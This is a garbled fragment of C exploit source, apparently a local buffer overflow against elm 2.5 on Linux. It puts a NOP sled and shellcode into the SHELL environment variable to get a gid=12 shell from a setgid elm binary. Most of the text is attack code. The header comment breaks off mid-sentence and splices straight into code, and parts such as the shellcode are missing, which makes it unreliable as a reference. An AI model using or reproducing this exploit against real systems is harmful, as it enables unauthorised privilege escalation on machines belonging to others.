/* (linux)elm[2.5(yes another)] buffer overflow, by v9[v9@fakehalo.org]. this will give you a gid=12 shell if /usr/bin/elm is SGID(=2755). elm rejects most user defined vars after 2541){offset=atoi(argv[1]);} else{offset=DEFAULT_OFFSET;} ret=(esp()-offset); printf("return address: 0x%lx, offset: %d.\n",ret,offset); for(i=3;i<256;i+=4){*(long *)&bof[i]=ret;} for(i=0;i<(255-strlen(exec));i++){*(bof+i)=0x90;} memcpy(bof+i,exec,strlen(exec)); setenv("SHELL",bof,1); execlp("/usr/bin/elm","elm",0); }